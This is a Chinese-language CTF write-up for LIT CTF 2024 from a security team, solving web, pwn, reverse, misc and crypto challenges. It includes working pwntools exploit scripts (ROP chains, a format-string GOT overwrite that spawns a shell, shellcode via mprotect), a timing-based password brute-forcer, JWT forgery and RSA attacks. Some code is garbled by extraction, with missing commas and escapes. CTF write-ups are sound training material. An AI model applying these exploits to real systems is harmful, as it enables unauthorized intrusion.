LIT CTF · 2024 WriteUp

WriteUp 1个月前 admin
58 0 0

点击蓝字

LIT CTF · 2024 WriteUp

关注我们



声明

本文作者:CTF战队
本文字数:23413字

阅读时长:约40分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


LIT CTF · 2024 WriteUp


LIT (Lexington Informatics Tournament) is a competitive programming tournament for contestants of all levels, hosted by members of the LexMACS club along with many guest problemsetters/testers.

WEB

anti-inspect

can you find the answer?

WARNING: do not open the link your computer will not enjoy it much. URL: http://litctf.org:31779/ 

Hint: If your flag does not work, think about how to style the output of console.log 

你能找到答案吗?

警告:不要打开链接,你的电脑不会喜欢它。

URL:http://litctf.org:31779/提示:如果您的标志不起作用,请考虑如何设置console.log的输出样式

LIT CTF · 2024 WriteUp

把%c删掉即可LIT CTF · 2024 WriteUp

LITCTF{your_fOund_teh_fI@g_94932}

JWT1

I just made a website. Since cookies seem to be a thing of the old days, I updated my authentication! With these modern web technologies, I will never have to deal with sessions again. Come try it out at http://litctf.org:31781/. 

我刚刚创建了一个网站。由于Cookie似乎已经过时了,我更新了我的身份验证!有了这些现代网络技术,我再也不用处理会话了。来试试吧http://litctf.org:31781/.

没有加密部分的校验,把内容改了就可以通过检测LIT CTF · 2024 WriteUp

JWT2

its like jwt-1 but this one is harder URL: http://litctf.org:31777/

它类似于jwt-1,但这个URL更难:http://litctf.org:31777/

过认证就有 flagLIT CTF · 2024 WriteUp本地运行一下,然后复制过去

在代码中找到secert然后jwt伪造即可LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp

程序中的加密代码与 jwt.io 可能存在差异,导致一些 name 无法被正确解析

expectedSignature = crypto.createHmac('sha256', jwtSecret).update(header + '.' + payload).digest('base64').replace(/=/g'');

可以正常解析加密的 nameLIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp

不能正常解析的LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp

traversed

I made this website! you can’t see anything else though… right?? URL: http://litctf.org:31778/

我创建了这个网站!但你看不到其他东西。。。正确的网址:http://litctf.org:31778/

LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp

kirbytime

Welcome to Kirby’s Website. 

欢迎来到Kirby的网站。

import sqlite3
from flask import Flask, request, redirect, render_template
import time
app = Flask(__name__)


@app.route('/', methods=['GET''POST'])
def login():
    message = None
    if request.method == 'POST':
        password = request.form['password']
        real = 'REDACTED'
        if len(password) != 7:
            return render_template('login.html', message="you need 7 chars")
        for i in range(len(password)):
            if password[i] != real[i]:
                message = "incorrect"
                return render_template('login.html', message=message)
            else:
                time.sleep(1)
        if password == real:
            message = "yayy! hi kirby"

    return render_template('login.html', message=message)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

这里没有看到在哪用了 sqlite3 我的想法按位爆破,根据时间比较

import requests
import time

url='http://34.31.154.223:58802'
code="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-={}|:"<>?[]\;',./"

for i in code:
    starTime=time.time()
    payload={"password":"kB"+i+"****"}
    r=requests.post(url,data=payload)
    print(i+"    "+str((time.time()-starTime)))
    if((time.time()-starTime)>2):
        print(i)

kBySlaY LITCTF{kBySlaY}

Pwn

w4dup 2de

Not much. Flag is in flag.txt. Connect with nc litctf.org 31771. 

不多。标志位于Flag.txt文件中。请访问nc litctf.org 31771。

有沙箱,还有一处的栈溢出,最大的难题在于没有输出函数来泄露地址,但是有read可以改任意地址的内容,这里考虑通过libseccomp中的plt表中的write来完成泄露 首先可以看到seccomp_init和plt靠的很近,做4比特的爆破就能覆盖低2位来使seccom_init的plt指向write的plt,接着调用seccom_init就在调用write了LIT CTF · 2024 WriteUp泄露出libc后就改bss段执行权限,写shellcode,栈迁移即可

from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

context.arch="amd64"
elf = ELF("./pwn")
shellcode = asm(shellcraft.amd64.open("flag.txt",0)+shellcraft.amd64.sendfile(1,3,0,0x100))
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
context.log_level = "error"
rdi_ret = 0x00000000004013d3
rsi_r15_ret = 0x00000000004013d1
rbp_ret = 0x000000000040117d
leave_ret = 0x000000000040132d
bss = 0x404800
def exp():
    pl = b"A"*0x28
    pl += flat([rdi_ret,0,rsi_r15_ret,elf.got['seccomp_init'],0,elf.plt['read']])
    pl += flat([rdi_ret,1,rsi_r15_ret,elf.got['read'],0,elf.plt['seccomp_init']])
    pl += flat([rdi_ret,0,rsi_r15_ret,bss,0,elf.plt['read'],rbp_ret,bss-8,leave_ret])
    sl(pl)
    s(p16(0x71d0))
    read = u64(io.recvuntil(b"x7f",timeout=4)[-6:]+b"x00x00")
    libc_base = read - libc.sym['read']
    print("libc_base:",hex(libc_base))
    rsi_ret = libc_base + 0x000000000002601f
    rdx_ret = libc_base + 0x00000000000dfc12
    pl2 = flat([rdi_ret,bss&(~0xfff),rsi_ret,0x1000,rdx_ret,7,libc_base+libc.sym['mprotect']])
    pl2 += p64(bss+0x50)*3
    pl2 += shellcode
    sl(pl2)

while True:
    try:
        print("-",end="")
        # io = process("./pwn")
        io = remote("litctf.org",31771)
        exp()
        io.interactive()
    except KeyboardInterrupt:
        exit(0
    except:
        io.close()
        continue
# LITCTF{dup_dup_dup_duuuuuuuuuup_222222}

Infinite Echo

You got this! Connect with nc litctf.org 31772. 

你明白了!请访问nc litctf.org 31772。

fmt改got表

from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

elf = ELF("./pwn")
r()
sl(b"%37$p%41$p")
ru(b"0x")
pie = int(r(12),16) - 0x10e0
ru(b"0x")
__libc_start_main = int(r(12),16) - 243

libc = ELF("/home/kali/pwnwork/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
libc_base = __libc_start_main - libc.sym['__libc_start_main']
p("libc_base")
sys_addr = libc_base + libc.sym['system']
pl = fmtstr_payload(6,{pie+elf.got['printf']:sys_addr})
sl(pl)
sl(b"/bin/shx00")
io.interactive()

Function Pairing

I love how functions in C are named! We have: – open and close – fopen and fclose – read and write – fread and fwrite – gets and puts – fgets and fputs Connect with nc litctf.org 31774. 

我喜欢C中函数的命名方式!我们有:-打开和关闭-fopen和fclose-读和写-fread和fwrite-get和put-fgets和fputs与nc litctf.org 31774连接。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-m""--mode", required=True, choices=["d""debug""r""remote"])
args = parser.parse_args()

context(arch="amd64", endian="el", os="linux")
context.log_level = "debug"
context.terminal = ['gnome-terminal''-x''sh''-c']

if args.mode in ["d""debug"]:
    p = process("./vuln")
else:
    p = remote("litctf.org"31774)
chall = ELF("./vuln", checksec=False)
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

pd = b"a" * 0x108
pd += p64(chall.search(asm("pop rdi ; ret")).__next__())
pd += p64(chall.got["puts"])
pd += p64(chall.plt["puts"])
pd += p64(chall.sym["_start"])

p.sendlineafter(b"1. gets/putsn", pd)
p.sendlineafter(b"2. fgets/fputsn"b"123")
p.recvuntil(b"123n")

# libc6_2.35-0ubuntu3.5_amd64
addr_puts = u64(p.recvuntil(b"n")[:-1].ljust(8b"x00"))
success("addr_puts = %#x" % addr_puts)
libcbase = addr_puts - 0x80e50

pd = b"a" * 0x108
pd += p64(chall.search(asm("pop rdi ; ret")).__next__() + 1)
pd += p64(chall.search(asm("pop rdi ; ret")).__next__())
pd += p64(libcbase + 0x1d8678)
pd += p64(libcbase + 0x50d70)

p.sendlineafter(b"1. gets/putsn", pd)
# gdb.attach(p)
# sleep(3)
p.sendlineafter(b"2. fgets/fputsn"b"123")
p.interactive()
# LITCTF{cl34r1y_0n3_0f_7h3_p4ir1ng5_4r3_4_l1t7l3_5p3ci4l_f480531b}

iloveseccomp

What good is a buffer overflow… if you’re unable to syscall? 

缓冲区溢出有什么好处。。。如果您无法进行系统调用?

找ROP链的漫长过程,首先泄露了libc的地址,有足够的gadget可用,需要通过exit的返回值将8位的key爆破出来,所以要能控制exit时的rdi,而rdi又需要能够取到写在mmap开辟的随机地址上的key,而该随机地址写在bss段,程序开了pie所以没有办法直接取,通过rbx残留的代码段地址来取,难点就在于需要寻找gadget用偏移来取到key

from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def exp(i):
    ru(b"0x")
    open_addr = int(r(12),16)
    
    libc_base = open_addr - libc.sym['open']
    rdi_ret = libc_base + 0x0000000000023b6a
    rdx_ret = libc_base + 0x0000000000142c92

    # 0x000000000011cc4a : mov r8, rbx ; mov rax, r8 ; pop rbx ; ret
    # 0x0000000000033d62 : mov rax, qword ptr [rax + rdi*8 + 0x80] ; ret
    # 0x0000000000033dfb : mov r8d, dword ptr [rdx + rax] ; mov eax, r8d ; ret
    # 0x00000000000f1b65 : xchg edi, eax ; ret

    exit = libc_base + libc.sym['exit']
    pl = b"A"*0x38
    pl += flat([libc_base+0x000000000011cc4a,0])
    pl += flat([rdi_ret,1391,libc_base+0x0000000000033d62])
    pl += flat([rdx_ret,i,libc_base+0x0000000000033dfb])
    pl += flat([libc_base+0x00000000000f1b65,exit])

    return pl.hex()

io = remote("",)
res = b""
context.log_level = 'debug'
for i in range(8):
    pl = exp(i)
    sl(pl)
    ru(b"exit code ")
    res += p8(int(ru(b" (pid")))

sl(res.hex())

io.interactive()
# LITCTF{l0v3_3x1t_c0de_4n4lys1s_d816fcc2}

Misc

welcome

Please join the Discord for the latest announcements and read the contest rules! Good luck! 

请加入Discord了解最新公告并阅读比赛规则!祝你好运!

LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp

a little bit of tomcroppery

Once you crop an image, the cropped part is gone… right??? 

一旦你裁剪了图像,裁剪的部分就消失了。。。正确的

LIT CTF · 2024 WriteUp两个PNG文件尾,分离出来,第二个图片中有 flagLIT CTF · 2024 WriteUpLITCTF{4cr0p41yp5e_15_k1nd_0f_c001_j9g0s}

pokemon

I love pokemon! Win to get the flag 

我喜欢口袋妖怪!赢得旗帜

按顺序翻译LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUpLITCTF{POKEAAAG}

geoguessr1

Where is this? Flag format: Use three decimal points of precision and round. The last digit of the first coordinate is ODD, and the last digit of the second coordinate is EVEN. Example: LITCTF{80.439,-23.498} (no spaces) 

这是哪里?标志格式:使用精度和四舍五入的三个小数点。第一个坐标的最后一位是奇数,第二个坐标的第二位是偶数。示例:LITCTF{80.439,-23.498}(无空格)

LIT CTF · 2024 WriteUpLITCTF{24.885,121.284}

geoguessr2

Our history class recently took a walk on a field trip here. Where is this? Flag format: Use three decimal points of precision and round. The last digit of the first coordinate is EVEN, and the last digit of the second coordinate is ODD. Example: LITCTF{80.438,-23.497} (no spaces) 

我们历史班最近在这里进行了一次实地考察。这是哪里?标志格式:使用精度和四舍五入的三个小数点。第一个坐标的最后一位是偶数,第二个坐标的第二位是奇数。示例:LITCTF{80.438,-23.497}(无空格)

LIT CTF · 2024 WriteUpLITCTF{42.450,-71.233}

endless

Whoops! I deleted the file ending of this file, and now I can’t seem to figure out what type of file it was. Can you help me? 

哇!我删除了这个文件的文件结尾,现在我似乎无法弄清楚它是什么类型的文件。你能帮助我吗?

实际上就是mp3,播放的 flag,但是提交不对

LITCTFf0udio4rtbsp6

LIT CTF · 2024 WriteUp实际上是听力问题

LITCTF{f0udao4rtbsp6}

Reverse

revsite2

watch ads for a free flag, with amazing data integrity (patent not pending) 观看免费标志的广告,具有惊人的数据完整性(专利未申请)

打开url,有一个按钮,点击会新开一个标签页,播放老外们最喜欢的MV,同时分数+1LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp分数需要1e18即一百亿亿。F12打开控制台LIT CTF · 2024 WriteUp试过用selenium库模拟点击并且通过关闭新页面的方式阻止打开新页面,但是次数并不增加。试过改js代码写个循环调用visit_ad方法并用本地文件替换,但是单是循环1000000次内存就到百分百占用直接卡死了。逃不了,只能分析,断点下好,进入调试LIT CTF · 2024 WriteUp向下翻就能找到关键比较LIT CTF · 2024 WriteUp诶,我有一计,试试能不能patch这个1e18。把wasm文件另存在本地,才发现居然是二进制文件LIT CTF · 2024 WriteUp这里可以用ida9.0反汇编。函数很多,重点看visit_ad函数。当然,反编译是别想了,而且也不能patchLIT CTF · 2024 WriteUp鼠标指针放在1e18上再转到hex view就能找到这句汇编对应的机器码LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp问题是不知道是怎么解码的,只能试着改改看。找到偏移后,修改在winhex里进行。试过多种修改方式后,发现下面这样可以把1e18修改为32LIT CTF · 2024 WriteUp保存修改。另外,保存html、js文件,和wasm文件放在同一目录下LIT CTF · 2024 WriteUp然后浏览器打开html文件,就能正常运行了。点击到31后再打开控制台LIT CTF · 2024 WriteUp步过两个call后,发现调试自动结束,并且报错了LIT CTF · 2024 WriteUp不是哥们,真要点1e18次啊。wasm调用函数的传参是通过参数入栈实现的,查看函数的参数大致能猜出来函数的作用LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp那么怎么确定应该是哪个值对应的字符需要左移呢,回溯local2地址的值可以发现由内存地址[0x10310]的值决定LIT CTF · 2024 WriteUp找找地址[0x10310]的值什么时候被修改,并且回溯计算。调试发现内存[0x10320]的值刚好就是分数LIT CTF · 2024 WriteUp地址[0x10320]的值应该是1e18。写个脚本算算地址[0x10310]的值。计算通过数学公式(立方数列求和和平方数列求和)简化,具体细节由调试确定。另外,每次与[0x10310]有关的运算都有两部分,另一部分是左移的偏移,这里也卡了一段时间,明明都得到’}’了。明白这些之后,剩下的就是手撕一下运算

int main() {
    long long m = 1e18 - 1;
    long long n = m - 1;
    long long sum_cubed = (n * (n + 1) / 2) * (n * (n + 1) / 2);
    long long sum_squared = n * (n + 1) * (2 * n + 1) / 6;
    long long sum_i = n * (n + 1) / 2;
    long long result = 3 + 8 * sum_cubed + 3 * sum_squared + 3 * sum_i + 8 * (n + 1);

    printf("%llX", result);

    return 0;
}
#10FC3D0993BC0002

#LITCTF{s0_l457minute!}

forgotten message

I made a cool program to show the flag, but i forgot to output it! Now that I lost the source, I can’t seem to remember the flag. Can you help me find it? 

我制作了一个很酷的程序来显示国旗,但我忘了输出它!现在我失去了消息来源,我似乎不记得国旗了。你能帮我找到它吗?

ida打开就有flagLIT CTF · 2024 WriteUp

Burger Reviewer

Try to sneak a pizza into the burger reviewer! 

试着偷偷给汉堡评论家一个披萨!

import java.util.*;
public class Burgers { public static boolean bun(String s) { return (s.substring(0, 7).equals("LITCTF{") && s.charAt(s.length()-1) == '}'); } public static boolean cheese(String s) { return (s.charAt(13) == '_' && (int)s.charAt(17) == 95 && s.charAt(19) == '_' && s.charAt(26)+s.charAt(19) == 190 && s.charAt(29) == '_' && s.charAt(34)-5 == 90 && s.charAt(39) == '_'); } public static boolean meat(String s) { boolean good = true; int m = 41; char[] meat = {'n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i'}; int[] dif = {4, 2, 2, 2, 1, 2, 1, 3, 3}; for (int i = 0; i < meat.length; i++) { m -= dif[i]; if (s.charAt(m) != meat[i]) { good = false; break; } } return good; } public static boolean pizzaSauce(String s) { boolean[] isDigit = {false, false, false, true, false, true, false, false, true, false, false, false, false, false}; for (int i = 7; i < 21; i++) { if (Character.isDigit(s.charAt(i)) != isDigit[i - 7]) { return false; } } char[] sauce = {'b', 'p', 'u', 'b', 'r', 'n', 'r', 'c'}; int a = 7; int b = 20; int i = 0; boolean good = true; while (a < b) { if (s.charAt(a) != sauce[i] || s.charAt(b) != sauce[i+1]) { good = false; break; } a++; b--; i += 2; while (!Character.isLetter(s.charAt(a))) a++; while (!Character.isLetter(s.charAt(b))) b--; } return good; } public static boolean veggies(String s) { int[] veg1 = {10, 12, 15, 22, 23, 25, 32, 36, 38, 40}; int[] veg = new int[10]; for (int i = 0; i < veg1.length; i++) { veg[i] = Integer.parseInt(s.substring(veg1[i], veg1[i]+1)); } return (veg[0] + veg[1] == 14 && veg[1] * veg[2] == 20 && veg[2]/veg[3]/veg[4] == 1 && veg[3] == veg[4] && veg[3] == 2 && veg[4] - veg[5] == -3 && Math.pow(veg[5], veg[6]) == 125 && veg[7] == 4 && veg[8] % veg[7] == 3 && veg[8] + veg[9] == 9 && veg[veg.length - 1] == 2); }
public static void main(String[] args) { Scanner in = new Scanner(System.in); System.out.println("Can burgers be pizzas? Try making a burger..."); System.out.print("Enter flag: "); String input = in.next(); in.close(); boolean gotFlag = true; if (input.length() > 42) { System.out.println("This burger iz too big :("); } else if (input.length() < 42) { System.out.println("This burger iz too small :("); } else { if (!bun(input)) { System.out.println("Wrong bun >:0"); gotFlag = false; } if (gotFlag) { if (!cheese(input)) { System.out.println("Hmph. Not good chez :/"); gotFlag = false; } } if (gotFlag) { if (!meat(input)) { System.out.println("Bah, needs better meat :S"); gotFlag = false; } } if (gotFlag) { if (!pizzaSauce(input)) { System.out.println("Tsk tsk. You call that pizza sauce? >:|"); gotFlag = false; } } if (gotFlag) { if (!veggies(input)) { System.out.println("Rotten veggies, ew XP"); gotFlag = false; } } if (gotFlag) { System.out.println("Yesyes good burger :D"); } } }}

简单计算一下,然后调试验证就行

    public static boolean bun(String s) {
        return (s.substring(07).equals("LITCTF{") && s.charAt(s.length()-1) == '}');
    }
    // L I T C T F { b u r 9  r  5  _   c  4  n _  b   _  p  i  2  2  a  5  _  i  f _  t  h  3  y  _  w  4  n  7  _  2  }
    // 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
    public static boolean cheese(String s) {           //   _                                     _            _                                                      _
        return (s.charAt(13) == '_' && (int)s.charAt(17) == 95 && s.charAt(19) == '_' && s.charAt(26)+s.charAt(19) == 190 && s.charAt(29) == '_' && s.charAt(34)-5 == 90 && s.charAt(39) == '_');
    }

    public static boolean meat(String s) {
        boolean good = true;
        int m = 41;  // 37   35   33   31   30   28   27   24  21
        char[] meat = {'n''w''y''h''t''f''i''a''i'};
        int[] dif = {422212133};
        for (int i = 0; i < meat.length; i++) {
            m -= dif[i];
            if (s.charAt(m) != meat[i]) {
                good = false;
                break;
            }
        }
        return good;
    }

    public static boolean pizzaSauce(String s) {
        boolean[] isDigit = {falsefalsefalsetruefalsetruefalsefalsetruefalsefalsefalsefalsefalse};
        for (int i = 7; i < 21; i++) {
            if (Character.isDigit(s.charAt(i)) != isDigit[i - 7]) {
                return false;
            }
        }//              7    20   8    18   9   16    11  14
        char[] sauce = {'b''p''u''b''r''n''r''c'};
        int a = 7int b = 20int i = 0boolean good = true;
        while (a < b) {
            if (s.charAt(a) != sauce[i] || s.charAt(b) != sauce[i+1]) {
                good = false;
                break;
            }
            a++; b--; i += 2;
            while (!Character.isLetter(s.charAt(a))) a++;
            while (!Character.isLetter(s.charAt(b))) b--;
        }
        return good;
    }

    public static boolean veggies(String s) {
        //            9   5   4   2   2   5   3   4   7   2
        int[] veg1 = {10121522232532363840};
        int[] veg = new int[10];
        for (int i = 0; i < veg1.length; i++) {
            veg[i] = Integer.parseInt(s.substring(veg1[i], veg1[i]+1));
        }//         9 + 5 = 14                 5 * 4 ==20             4 / 2 / 2 =1             2 = 2                 2           2               2      5                       5       3                   4              7        4              7        2                    2
        return (veg[0] + veg[1] == 14 && veg[1] * veg[2] == 20 && veg[2]/veg[3]/veg[4] == 1 && veg[3] == veg[4] && veg[3] == 2 && veg[4] - veg[5] == -3 && Math.pow(veg[5], veg[6]) == 125 && veg[7] == 4 && veg[8] % veg[7] == 3 && veg[8] + veg[9] == 9 && veg[veg.length - 1] == 2);
    }

kablewy

WARNING: your computer might go kablewy if you try to do this one… URL: http://litctf.org:31782/

警告:如果你尝试这样做,你的电脑可能会死机。。。网址:http://litctf.org:31782/

题目提示访问给的链接电脑就会卡死(试了一下,真的会卡死) bp抓包看看LIT CTF · 2024 WriteUp发现有js代码LIT CTF · 2024 WriteUp将base64字符串解码,然后执行一下就是flagLIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp#LITCTF{k3F7zH}

revsite1

It’s a website?? (no ads ofc) URL: http://litctf.org:31784/

是网站??(ofc无广告)网址:http://litctf.org:31784/

wasm逆向,解出占运气。打开网页,F12LIT CTF · 2024 WriteUp为鼠标click事件下断点或者在wasm文件的checkflag函数下断点LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUpclick事件中可以发现有一个指针。问gpt知道还把flag写入到wasm对应的内存里了LIT CTF · 2024 WriteUpLIT CTF · 2024 WriteUp进入wasm,发现果然是输入字符串LIT CTF · 2024 WriteUp继续调试,发现这三条代码看不懂,gpt也没解释清楚LIT CTF · 2024 WriteUp查看var3处的内容,直接就出了(复现发现在第二遍check时才出现)LIT CTF · 2024 WriteUp#LITCTF{t0d4y_15_l1t3rally_th3_d4y_b3f0re_the_c0nt3st}

Crypto

simple otp

We all know OTP is unbreakable… 

我们都知道OTP是牢不可破的。。。

异或输出即可

import random

encoded_with_xor = b'x81Nxx9bxea)xe4x11xc5 exbbxcdRxb7x8f:xf8x8bJx15x0e.n\-/4x91xdcNx8a'

random.seed(0)
key = random.randbytes(32)
print(''.join(chr(key[i] ^ encoded_with_xor[i]) for i in range(len(key))))
#LITCTF{sillyOTPlol!!!!sdfsgvkhf}

pope shuffle

it’s like caesar cipher but better. Encoded: ࠴࠱࠼ࠫ࠼࠮ࡣࡋࡍࠨ࡛ࡍ࡚ࡇ࡛ࠩࡔࡉࡌࡥ 

它就像凯撒密码,但更好。编码:࠴࠱࠼ࠫ࠼࠮ࡣࡋࡍࠨ࡛ࡍ࡚ࡇ࡛ࠩࡔࡉࡌࡥ

题目说的是凯撒,在小的范围内都没有,直接爆破一下偏移

encoded = "࠴࠱࠼ࠫ࠼࠮ࡣࡋࡍࠨ࡛ࡍ࡚ࡇ࡛ࠩࡔࡉࡌࡥ"
decoded = ""

for rot in range(1,0xffff):
    for char in encoded:
        decoded += chr(ord(char) - rot)
    if 'LIT' in decoded:
        print(decoded,rot)
        break
#LITCTF{ce@ser_sAlad} 2024

privatekey

something’s smaller 有些东西更小

e很大,要用到低解密指数攻击,当e很大时,相对的d就会很小 在GitHub找了一个脚本,在RSAwienerHacker.py中放入n和e就能解出dhttps://github.com/pablocelayes/rsa-wiener-attackLIT CTF · 2024 WriteUp解出来d=3735928559,然后就是常规的RSA解密了

n = 91222155440553152389498614260050699731763350575147080767270489977917091931170943138928885120658877746247611632809405330094823541534217244038578699660880006339704989092479659053257803665271330929925869501196563443668981397902668090043639708667461870466802555861441754587186218972034248949207279990970777750209
e = 89367874380527493290104721678355794851752244712307964470391711606074727267038562743027846335233189217972523295913276633530423913558009009304519822798850828058341163149186400703842247356763254163467344158854476953789177826969005741218604103441014310747381924897883873667049874536894418991242502458035490144319
c = 71713040895862900826227958162735654909383845445237320223905265447935484166586100020297922365470898490364132661022898730819952219842679884422062319998678974747389086806470313146322055888525887658138813737156642494577963249790227961555514310838370972597205191372072037773173143170516757649991406773514836843206
d = 3735928559
from Crypto.Util.number import *
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
#LITCTF{w13n3r_15_4n_unf0rtun4t3_n4m3}

Symmetric RSA

Who needs public keys? Connect at nc litctf.org 31783. 

谁需要公钥?请访问nc litctf.org 31783。

敲打了一下gptLIT CTF · 2024 WriteUp从给的py文件中可以看到每次nc上去都有4次输入明文然后输出密文的机会LIT CTF · 2024 WriteUp随便输入四组明文,将密文拿出来,通过这四组数据解出n、p、q和e,然后常规RSA解出flag

rom Crypto.Util.number import GCD as gcd

# 已知的明文和密文对
PT1 = 123
CT1 = 14427199753419118604663175942514269727542495495002011660267817498940135922706491583196328135601287888337554414945296503068504166952844933374051863472943392082937655102950178839561227894246206776552063492502350476596198467926585891917186091609674896531086032258540539933198641486612060496303555799482150728587598278631256738509111118105612584776340193922065887751334415174436192905774371465283598288431535195770711957935970945937269134820783917422940303037910744194925176740344388747272139369332150812628210285183374983139089808722978961599642609659606825643160702026249237398846219771107918472661055411143709283318007

PT2 = 456
CT2 = 2469903332498884316291521748537152008019138972348260616925423708649730556519314936562164719540934873668513501792384954682953535162109513406614135512380677421204053307257846446671851184890787208579778055431485767992530750496205419566020657870330796666720138570611756001334870179251449783957340030363000980710488076891001086186647765452831226586876215306238759058890061799645699846197220115898158537319359295767983056043777995807196415439359934441685551070376498281632290942368527381870695245728255811474621916696723092080543868934500073800995123645046655832480934023060451018742071360628711935988266014899901003388899

PT3 = 789
CT3 = 14412483658251902794549732582957079851513820603800602084620039476502460559086486893927163934395459522970894138596955403210195186870244561589938465793386509624069104254867532966034169812558023027632683272334743207642832129725462238697052599986598241033953366401361644330189097665868618021487168129314429322481459666350804714661400343308204374079126919310670650664038959815635047034601054403692437456415026103786589932855828461748336750254949251174376660475565008143083999126911879285270326430439152500960002840889844870691876058722933598994643954780691280825459000752741934095202598856033157879374800145586932901524024

PT4 = 101
CT4 = 8501274936582991617782392076349166096247520566497579522737066201794241637057166936799028529968100344572938824184049976395016789984152421831489369233808560016730442449357379849425339100188154106563558561764408186358916258173814328165409348045073562308664713204550994207827861808881208783779298726953344105569842437791631374338318468114894334926037632524974672162261970996731737775150468229324016948314660791409294094438440612381435445575777724872747054383654171802873573488316720113262848523510749135771946664301862131245009309737798246906359411901349362350870041386671532715396313096010297987011829596586831530254262

# 使用 gcd 找到 p (即 e)
p = gcd(PT1**PT2 - CT1, PT1**PT3 - CT1)
if p < 2**512:  # 确保 p 是一个合理的素数大小
    p = gcd(PT2**PT3 - CT2, PT2**PT4 - CT2)

print(f"Found p (e): {p}")

# 计算 n
n1 = (PT1**p - CT1) // p
n2 = (PT2**p - CT2) // p

# n 应该是 n1 和 n2 的 gcd
n = gcd(n1, n2)
print(f"Found n: {n}")

# 计算 q
q = n // p
print(f"Found q: {q}")


from Crypto.Util.number import *
e = 1
q = 150747814883819174894180356467196643572347836360913927155479507304824244766468981304163523809348598351944819071513461205652695684371722894811016138440216120310808768101821847498188325077218651146306234371552841279362162285295494367942487950268971354690025117867809848621959391325931968380642926895754956845489
p = 1
c = 9503299960531433770567852109683622170994025414506533564812345759856763943979126362294703838575054790592544566102371058727606455924750162542329412740421106494680944770640184811540983754488813197035165875220536998786075774338591265541323962162311399852148770092080227383025353048825367584816912191931253531893295314112615959125238505861878790355375660243040779905937099144920464513180722656098079621522672882739515914718557504308323778232120958756631929305924817224888600214465749211426525196179637322759543945117213661051229608775007545126711988243093602376071755896555183619573422938557042874244756401558713919076994

n = p * q
m = pow(c, 1, n)
flag = long_to_bytes(m)
print(flag)
#LITCTF{ju57_u53_e=65537_00a144ca}

Truly Symmetric RSA

I just realized that it doesn’t make sense for people without the key to be able to encrypt messages, so I fixed that. 

我刚刚意识到,没有密钥的人能够加密消息是没有意义的,所以我修复了这个问题。

根据费马小定律可以知道CT=PT+k*p,给了PT的长度可以大概估计一下转成int类型的长度是495,直接用copper可以还原PT

from Crypto.Util.number import *
CT = 155493050716775929746785618157278421579720146882532893558466000717535926046092909584621507923553076649095497514130410050189555400358836998046081044415327506184740691954567311107014762610207180244423796639730694535767800541494145360577247063247119137256320461545818441676395182342388510060086729252654537845527572702464327741896730162340787947095811174459024431128743731633252208758986678350296534304083983866503070491947276444303695911718996791195956784045648557648959632902090924578632023471001254664039074367122198667591056089131284405036814647516681592384332538556252346304161289579455924108267311841638064619876494634608529368113300787897715026001565834469335741541960401988282636487460784948272367823992564019029521793367540589624327395326260393508859657691047658164
